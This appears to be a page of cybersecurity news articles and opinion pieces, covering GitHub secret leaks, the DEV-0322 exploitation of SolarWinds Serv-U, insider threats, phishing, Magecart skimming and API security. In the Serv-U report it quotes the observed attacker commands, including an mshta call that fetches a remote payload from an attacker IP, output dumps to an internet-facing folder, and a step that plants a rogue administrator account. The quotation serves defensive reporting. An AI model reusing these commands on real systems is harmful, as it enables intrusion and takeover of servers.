Home Blog Page 70

“Public GitHub is often a blind spot in the security team’s perimeter”

GitHub

GitHub and the community surrounding it has changed the way the world uses and builds open source components and software. At present, there are more than 50 million developers using GitHub; 60 million repositories are created in a single year, with over two billion contributions. With such a vast resource of data publicly available, there is also an abundance of sensitive data that is unknowingly or accidentally pushed to the platform, namely secrets like API keys, credentials, and other digital authentication strings. These secrets can be used by attackers to gain access to infrastructure, systems, and PII.

It will still be a mammoth task to quantify the problem that arises due to the public GitHub. To evaluate that, CISO MAG interviewed Jérémy Thomas, Co-founder and CEO of GitGuardian. Thomas is an engineer and an entrepreneur. A graduate from Ecole Centrale in Paris, he first worked in Finance and then began his entrepreneurial journey by first founding Quantiops, a consulting company specializing in the analysis of large amounts of data, then GitGuardian in 2017.

In this interview, Thomas talks about the exposure of secrets within public repositories on GitHub and how this threat is evolving year on year. He also talks about the responsibilities of CISOs to ensure their developers do not accidentally leak secrets, Intellectual Property, or PII, and the best practices that need to be established.

Edited excerpts of the interview follow:

Recently, an unknown actor compromised the official PHP Git repository and pushed backdoored code under the guise of a minor edit. And these are a common affair. With organizations oftentimes taking most of their codes from Git repositories, don’t you think this is a major cybersecurity issue?

Indeed, leveraging open source dependencies comes with both risks and opportunities for organizations. On one side, organizations don’t have to reinvent the wheel and can reduce their time-tomarket by easily importing external open source software in their codebase, in the form of dependencies. If carefully chosen (not all open source codes are equal), these dependencies are battle-tested at unprecedented scales, scales that only the open source can allow. There are 50 million developers on GitHub. These developers collaborate publicly, write code, test code, solve bugs, and deploy code in various environments. The more a code snippet is deployed in as many environments as possible, the more it is tested, the more eyeballs are on it, the safer it is. However, it happens that certain dependencies contain vulnerabilities (just like every software does). In such cases, the huge scale of the open source can become a downside, because the vulnerable code is instantly deployed in so many environments. Hence the need for Software Composition Analysis tools to have visibility about components imported in the codebase, their version and vulnerability status, so that they can be patched quickly when a vulnerability is discovered.

PHP is thought to underpin almost 80% of websites. This includes all WordPress sites, which are built on PHP. With malicious actors pushing backdoors for remote code execution (RCE) like the earlier incident mentioned, do you think these can result in a much larger-scale attack surface? How does GitGuardian come into this picture?

Backdoors are a particularly major cybersecurity issue especially if they remain undetected for extended periods. This is only compounded when these backdoors are added to technology which, as you say, underpins many websites and web applications. Another example backdoor recently discovered was for CodeCov’s continuous integration (CI) tool. This backdoor was undetected for months and allowed the attackers to steal sensitive information from users’ CI environments.

Many think of security as building a wall around your assets and infrastructure, the core idea being to keep intruders out. While this wall is important, there are multiple ways an attacker can penetrate past this wall, a backdoor as we just discussed is one example. It may be a backdoor in your application, in the underpinning technology of your application such as the PHP example or as part of your application environment as was the case with the CodeCov example. This means we need a shift in how we approach security that considers what happens when the walls are breached. Solutions can help ensure sensitive information is not exposed to attackers even in the event of an intrusion. For example, GitGuardian Internal Monitoring solution scans for sensitive data within internal Version Control Systems and alerts users in real-time if any are discovered. This means that even if an attacker gains access to these internal systems via a backdoor or any other method we can prevent them from using secrets to move laterally into different systems.

According to a GitGuardian study, there has been a 20% year-on-year increase in the number of secrets – such as application programming interface (API) keys, private keys, certificates, usernames, and passwords – discovered on a public repository. What measures must CISOs take to ensure that the data of their organization must not be among these secrets?

CISOs are starting to realize that even if their company has limited official activities on public GitHub, their developers most certainly use the platform regularly. The difficulty for security teams is that public GitHub is often a blind spot in their security perimeter. It is difficult for organizations to identify developers’ public activity on personal repositories without a proper solution. Our report indicates that many corporate credentials are found on developers’ personal repositories, where CISOs have no visibility and no authority to enforce any kind of preventive security measures. On top of this, most organizations underestimate the number of secrets that are exposed within their internal repositories. And this, even if they deployed secrets management solutions. As code is a very leaky asset, widely accessible within the organization, it is critical that CISOs secure their Software Development Lifecycle by implementing efficient secrets detection…To read the full interview, subscribe to CISO MAG.

This interview first appeared in the June 2021 issue of CISO MAG.

Chinese Hacking Group ‘DEV 0322’ Exploits SolarWinds Serv-U Software: Microsoft

SolarWinds Microsoft

The infamous SolarWinds attacks have left a severe impact on the cybersecurity landscape. While organizations are still recovering from its consequences, Microsoft recently warned about a Chinese threat actor group, tracked as DEV-0322, exploiting a flaw in SolarWinds Serv-U FTP software.

The remote memory escape vulnerability CVE-2021-35211, which is now fixed, was found in Serv-U’s implementation of the Secure Shell (SSH) protocol. The flaw could have allowed a remote attacker to run an arbitrary code with access privileges, enabling them to perform unauthorized actions like deploying malware or altering information. The tech giant claimed that the DEV-0322 group is targeting the defense sector and IT organizations in the U.S. The threat group was found leveraging commercial VPN services and compromised Wi-Fi routers while attacking the targets.

Microsoft observed a zero-day attack behavior and found a malicious process resulting from the Serv-U.exe process:

  • C:\Windows\System32\mshta.exe http://144[.]34[.]179[.]162/a (defanged)
  • exe /c whoami > “./Client/Common/redacted.txt”
  • exe /c dir > “.\Client\Common\redacted.txt”
  • exe /c “”C:\Windows\Temp\Serv-U.bat””
  • exe C:\Windows\Temp\Serv-U.bat
  • exe /c type \\redacted\redacted.Archive > “C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\redacted.Archive”

“We observed DEV-0322 piping the output of their cmd.exe commands to files in the Serv-U \Client\Common\ folder, which is accessible from the internet by default so that the attackers could retrieve the results of the commands. The actor was also found adding a new global user to Serv-U, effectively adding themselves as a Serv-U administrator, by manually creating a crafted .Archive file in the Global Users directory. Serv-U user information is stored in these .Archive files,” Microsoft said. “Due to the way DEV-0322 had written their code when the exploit successfully compromises the Serv-U process, an exception is generated and logged to a Serv-U log file, DebugSocketLog.txt. The process could also crash after a malicious command was run.”

While the root cause of the vulnerability is unknown, Microsoft urged organizations and users to immediately update their instances of Serv-U with the latest version.

SolarWinds Hackers Strike Again!

The SolarWinds supply chain attacks compromised the networks of nine government agencies and 100 private organizations. Last month, Microsoft revealed that Nobelium, the Russian-based cybercriminal group behind the SolarWinds hacks, is now targeting government agencies, think tanks, consultants, and non-governmental organizations globally. Read More Here…

Insider Threats: The Primary Security Challenge for 94% of Organizations

Insider attacker leak data

Cyberattacks can happen for multiple reasons; however, one primary reason for rising data breaches is inadvertent employee errors or insider threats. Insider threats are an ever-growing security concern for organizations across the globe, irrespective of their business model and size. According to security firm Egress’ Insider Data Breach Survey 2021, 94% of organizations have sustained insider data breaches last year. Nearly 84% of security leaders surveyed stated that human error was the top cause of cyberattacks, while 28% of the respondents admitted that insiders malicious intent is their biggest fear. Nearly 74% of organizations suffered security issues when employees violated security rules, and 73% have been victims of various phishing and vishing attacks.

“Insider risk is every organization’s most complex vulnerability – and it has far-reaching consequences, from ransomware attacks to loss of client trust. Organizations must act now to mitigate the risk posed by their people. The research highlights the importance of empowering employees – they want to protect their employer’s data, and it’s up to organizations to ensure that they’re building a security-positive culture. With the right technology and strategy in place, organizations can transform their people from their biggest security vulnerability into their strongest line of defense,” said Egress CEO, Tony Pepper.

Identifying Malicious Insider Actions  

Detecting malicious employee actions before they become serious threats will help organizations prevent insider threats from happening. Security admins can predict potential risks by identifying certain tell-tale signs such as:

  • An employee trying to download/access sensitive information they don’t require
  • Asking for access to the company’s critical digital resources
  • Using personal devices to download or transfer corporate data
  • Sending company’s private data via personal email ID to outsiders

Security Practices to Prevent Insider Threats

  • Identify employees who don’t practice cyber hygiene and educate employees on basic security practices like using strong passwords/passphrases, spotting phishing emails, and malicious URLs.
  • Conduct regular cybersecurity awareness training sessions for employees using real-time insider threat incidents.
  • Ensure employees understand how their negligent actions could lead to severe security incidents.
  • Execute an insider threat prevention program by detecting potential security loopholes and unpatched vulnerabilities in their network systems.
  • Safeguard the organization’s critical digital infrastructure privacy by limiting its access to only trustworthy employees.
  • Enforce data protection regulations like incident response plans, third-party access policies, and accounts monitoring programs that could mitigate the risks of insider threats.

Insider threats are here to stay. In addition to improving security defenses, organizations must focus on employee engagement in boosting cybersecurity capabilities to mitigate possible insider threats. 

Related Stories:

Iranian Hackers Impersonate U.K. Academia in “SpoofedScholars” Phishing Campaign

Log4j, Iranian Ransomware Actors, SpoofedSccholars, second-tier targets, NIOPDC

Cybercriminals have no boundaries. With various phishing and social engineering tactics in place, attackers target victims across the globe by operating from a single location. Security experts Proofpoint recently discovered an active social engineering campaign by Iran-based threat actors,  who impersonated scholars from the University of London’s School of Oriental and African Studies (SOAS) to target senior think tank personnel, journalists, and professors.

Operation SpoofedScholars

Dubbed as SpoofedScholars, Proofpoint attributed the campaign to the advanced persistent threat (APT) group TA453. As per the reports, TA453 has close links with the Iranian Revolutionary Guard Corps (IRGC) in launching various credential phishing attacks to harvest sensitive information from high-profile individuals. TA453 has been secretly approaching professors as early as  January 2021 to capture sensitive information.

Threat actors leveraged the university’s website to create “customized” credential harvesting pages. They impersonated as professors from SOAS, inviting targeted scholars to speak at fake conferences. After establishing trust, the attackers sent bogus registrations links to the victims to pilfer their private data.

Explaining the attack chain, Proofpoint said, “TA453 sent an initial email trying to entice the target with a prospective invitation to an online conference on ‘The US Security Challenges in the Middle East. TA453 strived to connect with the individual via phone to discuss the invitation; however, after the target hedged and emphatically stated that they wanted a written proposal with the details, TA453 acquiesced with conference specifics. After a little back and forth that verified the target’s interest, TA453 provided a detailed invitation to the fake conference. The conversation concluded with TA453 attempting to get the target to connect via videoconferencing.”

Selective Targets

Proofpoint identified TA453 using passable communication skills to build trust among the targets. Besides, threat actors focused more on obtaining contact details of the victims, which could later be used to deploy mobile malware or launch phishing attacks.  The attackers were highly selective in choosing their targets and will continue spoofing scholars to steal information concerning the Iranian government, foreign policies, Iranian dissident movements, and the U.S. nuclear negotiations.

Mitigation

Proofpoint urged all academia, professors, journalists, and researchers to be vigilant and practice basic security measures like multi-factor authentication to prevent credential harvesting attacks. The company has also asked users to be cautious about virtual conference invites from unknown or anonymous sources.

National Cyber Security Coordinator of India to Speak at Pursuit 2021

Financial Sector

The COVID-19 pandemic has brought new challenges to our doorstep. Cybercrimes have seen a startling surge, affecting both SMBs and critical infrastructure. Consequently, the financial industry has also been a victim of digital assaults such as POS frauds, ATM hacking, and phishing. To address the cybercrime challenges faced by the Indian financial industry, the Internet and Mobile Association of India (IAMAI) has organized a two-day virtual conference, “Pursuit 2021: Combating Financial Frauds with Technology.”

Rajesh PantThe first edition of Pursuit 2021 will be held on July 14 and 15, 2021. Lt General (Dr) Rajesh Pant, the National Cyber Security Coordinator of India, will speak at the conference, which will focus on the usage of technology to reduce online financial fraud.

Register for IAMAI’s Pursuit 2021 here.

Key Topics for Discussion

  • New Fraud Trends and Cybercrime Threats
  • Financial Crime Risks During Covid-19
  • Digital Solutions to Address Financial Frauds and Market Abuse
  • Due Diligence in the Era of Digital KYC & Consumer Awareness
  • Striking the Balance Between Privacy Law and Financial Crime
  • Cybersecurity Laws and Compliance Regulations – ASEAN Perspective
  • Building Cyber Resilience

List of Speakers

  • Shri Sanjay Kumar, Commissioner of Police, Kerala Police
  • Dr. Balsingh Rajput, Deputy Commissioner of Police, Technology and Crime Prevention, Mumbai Police
  • Kiran Sivakumar, Superintendent of Police, Government of India
  • David Carlisle, Director of Policy & Regulatory Affairs, Elliptic
  • Mona Zoet, Founder & CEO, RegPac Revolution

The two-day virtual conference also aims to highlight issues pertaining to cybercrimes and how regulators and enforcement agencies are leveraging emerging technologies to have an upper hand over the new age cybercriminals.

India’s First Cyber Security Coordinator, Dr. Gulshan Rai, who is also a speaker at the event, said, “With the penetration of digitalization, application of technology and use of digital platforms for online applications in our day-to-day life, the misuse of technology has also increased. Adversaries are exploiting glitches in the technology particularly software, and stealing data and vital information relating to financial transactions, which an individual performs through computing devices.  Attacks in the financial sector have increased more than 2,000 times during the pandemic period.”

The financial sector has registered the highest number of cybercrimes, and it banks heavily on technology to prevent these attacks. Artificial Intelligence (AI), Machine Learning (ML), and Data Analytics are some technologies that are used to safeguard security infrastructure.

The virtual conference will provide a platform for the regulators, law enforcement agencies, industry experts, CXOs of large financial institutions, heads of tech companies, and founders of Regtech startups to share their perspectives on strategies towards the fight against cybercrime.

Register for IAMAI’s Pursuit 2021 here.

36% of Security Leaders in U.K. Flout Data Breach Disclosures to Avoid Blame

CISO, Cybersecurity

Cybersecurity is a booming industry in the U.K. However, despite rising awareness on several cybersecurity challenges, most organizations are shying away from disclosing security incidents as they happen. According to a recent analysis from Keeper Security, nearly 36% of senior security leaders admitted that they kept a cyberattack to themselves as a business secret. Keeper Security is a cybersecurity firm that helps organizations in preventing password-related data breaches and cyberattacks.

In its “2021 Cybersecurity Census Report,” the company revealed that most businesses in the U.K. are not ready to counter the rising cyberattacks. While cybercrimes are becoming more frequent and sophisticated by the day, organizations are simply avoiding data breach disclosures rather than boosting their cybersecurity standards. Loss of customer trust, brand value, business, and penalties were the most cited reasons for organizations not revealing security breaches.

Key Highlights:

  • Nearly 92% of businesses in the U.K. suffered a cyberattack last year and 78% admitted that they are unprepared to protect against cyberthreats.
  • Around 31% of organizations believe Chief Technical Officers (CTOs) should take responsibility in the event of a cyberattack.
  • While 66% of businesses have relaxed their cybersecurity policies last year due to remote work, 58% of employees don’t know the aftereffects of poor cyber-hygiene.
  • Over 32% of security leaders admitted to using weak credentials such as “password” or “admin” to protect their data.
  • Nearly 87% of IT leaders stated that the U.K. government must make organizations accountable for best security practices.
  • More than 90% believe that U.K. businesses should be legally required to have basic cybersecurity measures in place to protect against security incidents.

Cybersecurity Must Be Prioritized

Despite the threat of multiple attack vectors in the country, 28% of the organizations did not consider boosting cybersecurity as a top priority. While 92% of organizations in the U.K. are aware of security gaps in their cybersecurity defenses, only 40% are actively addressing them.

“The U.K. businesses are worried about their cybersecurity and, as our report has found, the challenges are manifold, affecting everything from budgets to productivity. While there is a desire to boost security efforts, companies are facing many competing challenges right now and, understandably, might not always make cybersecurity investments a priority. Our report is an urgent reminder for organizations to proactively address their cybersecurity challenges as a priority since deferring them will make the consequences far more severe,” said Darren Guccione, CEO & co-founder, Keeper Security.

“While this situation can’t be rectified overnight, there are straightforward steps U.K. businesses can take to boost their cyber defenses. First, organizations should do a comprehensive cybersecurity audit, looking at where the gaps lie and how they can be addressed. Next, they need to put in place a clear plan of action for how to address these challenges. Running cybersecurity training sessions to educate employees and introducing a password management platform to keep credentials safe and secure are two simple yet highly effective actions businesses can take today, to be better prepared against cyberattacks tomorrow,” Guccione concluded.

How much does a CEO or business leader need to know about cybersecurity?

Global Cybersecurity Outlook 2022,Cybersecurity, CEO, CISO

The magnitude and severity of growing incidents of cybercrime is a huge cause of concern for businesses around the globe. Business leaders and CEOs have now come to realize how vital it is for them to consider building a strong cybersecurity program within the organization. Setting a strong foundation of cybersecurity in the work culture is today the need of the hour. As a business leader or a CEO of your company, you play a key role in influencing the right work culture. Creating a work culture and norm that aligns with cybersecurity goals is crucial and possibly the best defense against cybercrime adversaries, to begin with.

By Narendra Sahoo, Founder, and Director, VISTA InfoSec

It is the classic blend of people and technology that contributes to building a close-knitted and secure work culture in the organization. So, with that said, an organization’s security should start with the CEO and business leaders personally getting involved in the program and setting an example for their people. Covering more on this, we have discussed some of the roles and responsibilities of business leaders and CEOs in an organization’s cybersecurity program and what must they know about the evolving cybersecurity industry.

Things CEOs should know about Cybersecurity

1. Understanding that Cybersecurity is important for Business

Understanding the implications of cybercrime on business is paramount. That said, business leaders or CEOs can no longer be ignorant of the cybersecurity measures implemented by their team and simply rely on them for building a strong cybersecurity program for the organization. CEOs should be actively involved in all the security programs and inspect all the work to gauge the relative health of an organization and the competency of individuals handling the cyber defense programs. Understanding every aspect of the program is crucial for it has a direct impact on your business legally, financially, in terms of reputation, brand image.

2. Learn about the evolving threats and current security landscape

Knowing where your business stands in terms of security especially in the current threat landscape is essential. Business leaders and CEOs must spend time with experts (CISO, CFO, CIO, and DPO) to learn more about cybersecurity requirements. They must be aware of the evolving regulatory frameworks in their industry and the international standards and best practices applicable globally.

3. Cybersecurity is not the sole responsibility of the IT team

More than often CEOs take a step back while entrusting the entire security measure initiative to the IT and Cybersecurity team for building and implementing effective measures. However, on the contrary, the CEOs should be playing an active role in introducing the cybersecurity work culture within the organization. For this, the CEO must regularly have meetings with CISO, CIO, and DPO to understand the kind of activities undertaken for securing the organization against various threats.

4. Work with CISO and CIO for Policies and Procedures

Cybersecurity-related policies and procedures must be drafted in consultation with the top management including the CEO or the Business leaders. The policy and procedures have a direct impact on business operational, financial, and security areas. This is because cybersecurity in general is a broader concept touching various aspects and areas of business. It has a direct impact on the job profiles, roles, and responsibilities set for the CISO, the cybersecurity team, third-party vendors, or anyone involved with the company for business. So setting the right policy and procedure is crucial as it facilitates enforcement of various regulatory frameworks and requirements within the organization and its work culture.

5. Investing money in advanced security tools is not the only solution

The effective way of going about implementing cybersecurity measures is not just by investing money on expensive tools and software. There must be strong cybersecurity work culture implemented with the organization and allocation of roles and responsibilities with proper validation of their competency in it.  Providing training and conducting cybersecurity awareness programs should be a must for top management, key employees, and staff working in the organization. For this, having a CEO or the Business leader backing the initiative and proactively involved in the program is equally essential.

6. Stay updated with the latest regulatory frameworks

CEO must be updated about the latest regulatory frameworks and standards of best practices in the industry. This is crucial for formulating plans and taking decisions pertaining to implementing security measures and developing policies and procedures for enforcement. Not just that they must even be aware of all the cybersecurity-related issues that are prevalent in the industry. CEOs must keep up with trends by staying updated with the latest happenings in the cybersecurity industry.

7. Roles and Responsibility of a CEO in Cybersecurity

As the rate of cybercrimes is rapidly increasing in almost every industry, the overall responsibility of ensuring the security of the organization lies in the hands of the CEO and the top management of the organization. Understanding the impact of threats, and taking appropriate action to protect the business is what a CEO should be looking at. For this, the CEO needs to be proactively involved in all the security programs concerning the organization. CEOs are in a position to influence employees and give them the right direction towards their cybersecurity goals while also aligning their business objectives. So, below given are certain roles and responsibilities of a CEO that must be considered to help the employees in their effort to protect the organization against cyberthreats.

8. Integrate Cybersecurity in Work Culture

CyberSecurity is an ongoing process that needs to be re-visited and reviewed every once a year. However, it is important to note that Business leaders and CEOs should proactively be a part of the process and work towards building a cyber-secure work culture in the organization. Cybersecurity should be considered in all business decisions, operations, and practices that shall be enforced across the organization and maintained by all employees. This is to ensure and encourage a holistic implementation of cybersecurity measures within your organization’s work process and norms.  That said, below given are certain fundamental responsibilities of a CEO listed below for a better understanding:

  • Regularly interact and communicate with the CISO, CIO, CFO, and other people accountable for managing cyber risks.
  • In consultation with the security team and other departmental heads, draft cybersecurity policies and procedures for enforcing it across organization verticals and departments.
  • Ensure regular training programs for all the employees of the organization, especially to those on-boarding.
  • Consider cybersecurity evaluation for all potential vendors, third parties, and especially when considering mergers and acquisitions.

9. Establish Strong Security and Risk Governance

The organization’s cybersecurity and risk governance depend a lot on the highest level of management including the CEOs, and the board of directors. They must understand the level of risk exposure and clearly define the roles and responsibilities of the organization’s cybersecurity activities and personnel. So, here are a few ways in which a CEO plays a key role in cybersecurity risk and governance-

  • Appoint a Chief Information Security Officer (CISO) for assuming all the key roles and responsibilities of the organization’s Cybersecurity initiative.
  • Work with the CISO and other experts to establish a strong cybersecurity framework implementing industry best practices and international standards guidelines.
  • Conduct meetings with the CISO to get a regular briefing about the activities and measures implemented to secure the organization’s network and infrastructure, tailored to the organization’s specific cybersecurity requirements.
  • Establish strong security policies, standards, enforcement mechanisms, and procedures and ensure uniformity across all departments and lines of business operation.
  • Define clear roles and responsibilities for personnel implementing and managing the organization’s cybersecurity and access rights for all levels of staff.
  • Establish a clear and direct line of communication with CISO to discuss the evolving threats from time to time.

Risk Assessment and Management

Risk Assessment and Management are critical for businesses to set a strong defense against evolving threats. The Top Management and the CEO must essentially be involved in this process to set the industry’s best risk management practices in the company. Further, to adapt to the evolving threat and improve the organization’s cybersecurity measures, the CEO must regularly undertake the following activities:

  • Establish strong cybersecurity Risk Assessment and Management processes on priority.
  • Work with the CISO to understand the level of risk exposure and its implications on business based on the results of risk assessment.
  • Validate the effectiveness of technology implemented for securing against threats.
  • Learn about the organization’s maturity and the inherent risks associated with critical business assets and technology dependencies.
  • Understand the various cyberthreats and prioritize risks based on priority in consultation with CISO.
  • Develop a strategic plan with the Board, CISO, and other key members to attain maturity and sustain security measures for the long run.
  • Earmark funds to invest in security deployments for addressing the existing gaps.
  • Ensure implementation of Incident Response Plan and ensure that the organization is prepared to respond and recover from a cyberattack.
  • Constantly re-evaluate the organization’s cybersecurity measures, risks, and goals.
  • Give direction to CISO and other key members in implementing strong security controls across the organization and provide timely responses for the same.
  • Monitor the ongoing performance and accordingly re-budget for achieving security goals and to improve the overall cybersecurity measures.

Conclusion

Cybersecurity threats continue to be a major issue for most businesses. It is a matter of serious concern that definitely needs the attention of the top management and CEO of the organization. While securing business is a huge challenge, but the responsibility of it greatly weighs on the CEO. The top management and CEOs need to be actively involved in guiding their organization through the digital transformation securely. They are required to participate in building an effective cybersecurity strategy, increase cyber literacy and lead the organization through all kinds of cyberthreat challenges.

The CEO and top management need to be updated about the latest industry trends and “know-how’s” of the cybersecurity industry. This will help them in taking appropriate decisions and guide the employees in the right direction.  While there is no “single size fits all solution” for such a massive and diverse problem, but following a few basic rules and guidelines will surely help. CEOs can even consult experts to understand the grey area of the industry and learn about the various cyber risks. With such industry insights, they can accordingly work with their team to reduce the probability and/or impact of a cyber breach in their organizations.

About the Author

Narendra SahooNarendra Sahoo (PCI QSA, PCI QPA, CISSP, CISA, and CRISC) is the Founder and Director of VISTA InfoSec, a global Information Security Consulting firm, based in the U.S., Singapore and India. Mr. Sahoo holds more than 25 years of experience in the IT Industry, with expertise in Information Risk Consulting, Assessment, and Compliance services. VISTA InfoSec specializes in Information Security audit, consulting, and certification services which include GDPR, HIPAA, CCPA, NESA, MAS-TRM, PCI DSS Compliance and Audit, PCI PIN, SOC2 Compliance and Audit, PDPA, PDPB to name a few. The company has for years (since 2004) worked with organizations across the globe to address the Regulatory and Information Security challenges in their industry. VISTA InfoSec has been instrumental in helping top multinational companies achieve compliance and secure their IT infrastructure.

Disclaimer

Views expressed in this article are personal. The facts, opinions, and language in the article do not reflect the views of CISO MAG and CISO MAG does not assume any responsibility or liability for the same.

ACCC Warns About Rising Remote Access Scams in Australia

Remote Access Scams

While the government of Australia is constantly trying to boost cybersecurity, a recent analysis divulged the rising threat of remote access scams in the country. According to a report from the Australian Competition and Consumer Commission (ACCC), cybercriminals have stolen over $7.2 million (an increase of 184% compared to last year) from the victims by compromising home devices. Around 6,500 victims received phishing/vishing calls from threat actors, tricking them into downloading malware disguised as software that infects devices to steal sensitive financial data.

Remote Access Scams

The report revealed that cybercriminals have been taking advantage of the remote work environment by exploiting security gaps. They reportedly used various social engineering attacks to access user devices via remote access software like AnyDesk or TeamViewer. Scammers duped several victims by pretending to be from popular organizations like Amazon, Telstra, NBN Co, eBay, bankers, government enterprises, police departments, and IT firms.

The commonly mimicked brands in 2021 are: Telstra with 1730 reports and reported losses of $1.95 million, followed by NBN Co. with 1023 reports and reported losses of $477,980.

Fraudsters often create a sense of urgency over the phone call, saying, “you’ve been billed for a purchase you didn’t make; your device has been compromised, or your account has been hacked” to unauthorizedly access victims’ devices. Once the attackers gain control of the targeted device, they ask for login credentials for email accounts, online banking, or PayPal accounts to pilfer sensitive data.

Earlier, the ACCC’s Scams Report 2020 revealed that identity theft scams and phishing attacks rose by 84% and 75%, respectively, in Australia.

“Remote access scams are one of the largest growing scam types in Australia. Scammers take advantage of the digital world and the fear of fraud and cybercrime to access people’s devices and steal their money. These types of scams target and impact all people and can be convincing. People aged 55 and older lost over $4.4 million, accounting for almost half of total losses. Young people reported losing on average $20,000 and eight Indigenous Australians, some in remote communities, lost a total of $38,000,” said ACCC Deputy Chair Delia Rickard.

Thwarting Attacks in Australia

Recently, the Cyber Security Industry Advisory Committee in Australia released a report, “Locked Out: Tackling Australia’s Ransomware Threat,” which highlights the current cyberthreat landscape in the country and provides recommendations for SMBs to strengthen their security infrastructure. Read more here…

Magecart’s New Evasive Technique Hides Stolen Credit Card Data into Images

Patchwork BADNEWS, APT31 threat group

Cybercriminal group, Magecart, is infamously known for evolving its attack techniques to evade security detection.  Magecart consists of multiple subgroups that target e-commerce sites to steal users’ credit card data and trade them on the dark web. Usually, in a Magecart attack, also known as web skimming or e-skimming, Magecart attackers inject malicious JavaScript code on the payment gateway of e-commerce stores to harvest payment card data.

Given its constant threat of taking advantage of users’ online behavior, Magecart remains an incredibly serious threat to the industry. Recent research by Sucuri found that Magecart hackers have now come up with an indigenous malicious technique of encoding stolen credit card information into image files and disguising the malware code in comment blocks to hide their activities and escape security detections.

Researchers found malware variants in two image files on the server that hosted a large amount of base64 encoded data. After decoding, the researchers found credit card data like card numbers, expiration dates, CVV numbers, billing addresses, and other payment information in plain text. Attackers also concealed malware in comment chunks by adding additional layers of codes, thereby evading detection. . The tactics, techniques, and procedures (TTPs) used in the current threat activity are similar to the activities used by Magecart Group 7.

“With Magecart malware the files infected need to be involved in the checkout process somehow to work. The attackers can’t just infect any random file; it has to handle payment information somehow. For this reason, we tend to see the same files get infected over and over again,” the researchers said.

Though newer hacking techniques have been introduced, the motive of the Magecart hackers remains the same – to obtain customers’ credit card details from the infected e-commerce site, save them to a fake .CSS style sheet on the server, and download them later by making a GET request.

Distributing Malicious PHP Web Shells

In the recent past, security experts from Malwarebytes found Magecart Group 12 targeting Magento online stores to pilfer customers’ sensitive information. The attackers distributed malicious PHP web shells, known as Smilodon or Megalodon, disguised as favicon, to obtain remote access to the targeted servers. Read More Here…

API Security: An Emerging CISO Pain Point

application security, API, API Security

The API economy is no stranger to many of us. Without two applications or databases communicating and sharing data through APIs, the digital experiences we have grown accustomed to, such as getting a text message when your Uber has arrived, are not possible. Building a business that relies on APIs has brought success to many companies.

By Umesh Padval, Venture Partner, Thomvest Ventures

Because APIs are becoming increasingly valuable to businesses, the usage of APIs has reached an all-time high. In the 2020 State of API Survey by Postman, 84.5% of participants stated that APIs are playing a significant role in digital transformation initiatives. What’s even more interesting is that a third (30.6%) of the survey respondents said that APIs played a role in their ability to respond to COVID-19. If we look at the historic data, there is a clear uptick in enterprise API adoption. In the 2019 Gartner API Usage and Strategy Survey, 98% of participating respondents either use APIs now, are implementing APIs, or plan to use APIs in the coming year. This trend, including the growth of APIs since 2018, is shown in Figure 1.

While internal APIs are common at many technology-driven organizations, external/public-facing API use is on the rise. According to ProgrammableWeb, the largest and most complete Web API directory, there are over 24,000 active Web APIs in June 2021. In comparison, there were less than 2,000 a decade ago.

Gartner API Usage and Strategy Survey

With the increase in API usage, API attacks are also becoming more and more prolific. Many CISOs realize their API security needs a reality check. As businesses use APIs to establish more connectivity and transfer data, API cyberattacks often lead to data breaches, where sensitive medical, financial, and personal data are exposed. For example, in March 2020, hackers used insecure APIs behind the website findadoctor.com to scrape information on 1.4 million doctors in the U.S. It turned into a disaster for doctors and healthcare staff who were busy saving lives amid the pandemic. Other large organizations such as Instagram, Venmo, USPS, Capital One and Gitlab, have also experienced various attacks that were linked to broken, insecure, or exposed APIs during recent years.

In fact, Gartner predicts that the application security market will grow to $3.7B by the end of 2021, which is a 12.2% increase compared to 2020. It is also predicted by Gartner, that by 2022, API attacks will become the most frequent attack vector for enterprise web applications. As a result, API security is going to be a large enterprise pain point.  

Developers have several options to build APIs today and can choose from older protocols like SOAP, which are based on XML format to current API standards like REST, which utilizes lightweight JSON format. Over the last few years, newer protocols like GraphQL (built by Facebook) and gRPC (built by Google) have also emerged as dependable alternatives. For security practitioners, developing a deep understanding of these protocols and how application requests get fulfilled is critical. The modern microservices interact with each other and with other 3rd party providers using well-defined API call structures. Consider a request sent to an IP-addressable API endpoint to fetch the bank account details of a customer. This request might have some visible parameters (called GET parameter in REST APIs) like user_id, name, and hidden parameters (called POST parameter in REST APIs) like password, last 4 digits of social security, etc.

Such a request goes through a gatekeeper called API Gateway and then gets routed to the internal servers where that particular data is stored. After that, some query on the backend fetches that data from datastores and the response is sent back. In this end-to-end process, there are multiple attack vectors that web applications need to be protected from like high frequency of API calls, access to unauthorized data, SQL injection attacks, and others including the OWASP top 10.

Through our conversations with CISOs, we heard six pain points they’re experiencing protecting their APIs. The first is detecting API threats. Enterprises don’t know the full inventory of their APIs. Unmonitored “shadow APIs” are the source of increasing security risks and governance challenges. The second pain point is related to enforcing a protection perimeter. Modern application architecture trends (e.g., mobile access, microservice, hybrid cloud) complicate API security. There is rarely a single “gateway” to enforce protection. The third pain point is end-to-end API traffic tracing. Widespread use of internal APIs adds the requirement to secure internal usage (“east-west” API traffic) to the requirement to secure usage coming from outside the organization (“north-south” API traffic).

The fourth pain point that CISOs experience protecting their APIs is the number of manual security configurations needed for each added API. Related to the fourth pain point, CISOs also have to deal with a large amount of change management for new APIs. New APIs are deployed at a very fast rate without proper documentation, governance, and change control. Finally, the sometimes-fractured relationship between DevOps and Security is a major pain point. 30% of APIs were deployed without input from IT security due to the lack of collaboration between DevOps and Security teams.

We expect that enterprises will increase budget allocation to protect their APIs in the upcoming years. From ML/AL to behavioral analytics, API security vendors are developing differentiated technology to address API security concerns. Through monitoring API traffic, vendors help enterprises identify abnormal API usage, potential threats and recommend policy enforcements before any attacks. While API security vendors have an edge in offering API protection solutions today, they will face increasing competition from “API security as a feature” offerings from players in other cybersecurity categories such as web application firewall, identity and access management, as well as API management.

Overall, the surge in API traffic in recent years made API security one of the top security concerns for enterprise CISOs. As a result, it represents one of the fastest-growing markets within cybersecurity, and startups are innovating swiftly to maintain their edge and capture this market. We believe winners in API security will be companies capable of expanding API security features to a broader security platform.

About the Author

Umesh Padval is a Venture Partner at Thomvest Ventures focused on investments in the cybersecurity and cloud infrastructure sectors partnering with founders and CEOs of companies developing disruptive platforms solving key pain points for CIO and CISOs. He currently serves as a Board Member at Avalanche Technology, Bolster, ShiftLeft, and Tactus Technology and Impinj(public) and as a Board Observer at Clari. He is also an investor in Baffle and Harness. Umesh has served on over 30 public and private company boards, bringing extensive operating experience and skill set valued by CEOs and founders.

Disclaimer

Views expressed in this article are personal. The facts, opinions, and language in the article do not reflect the views of CISO MAG and CISO MAG does not assume any responsibility or liability for the same.

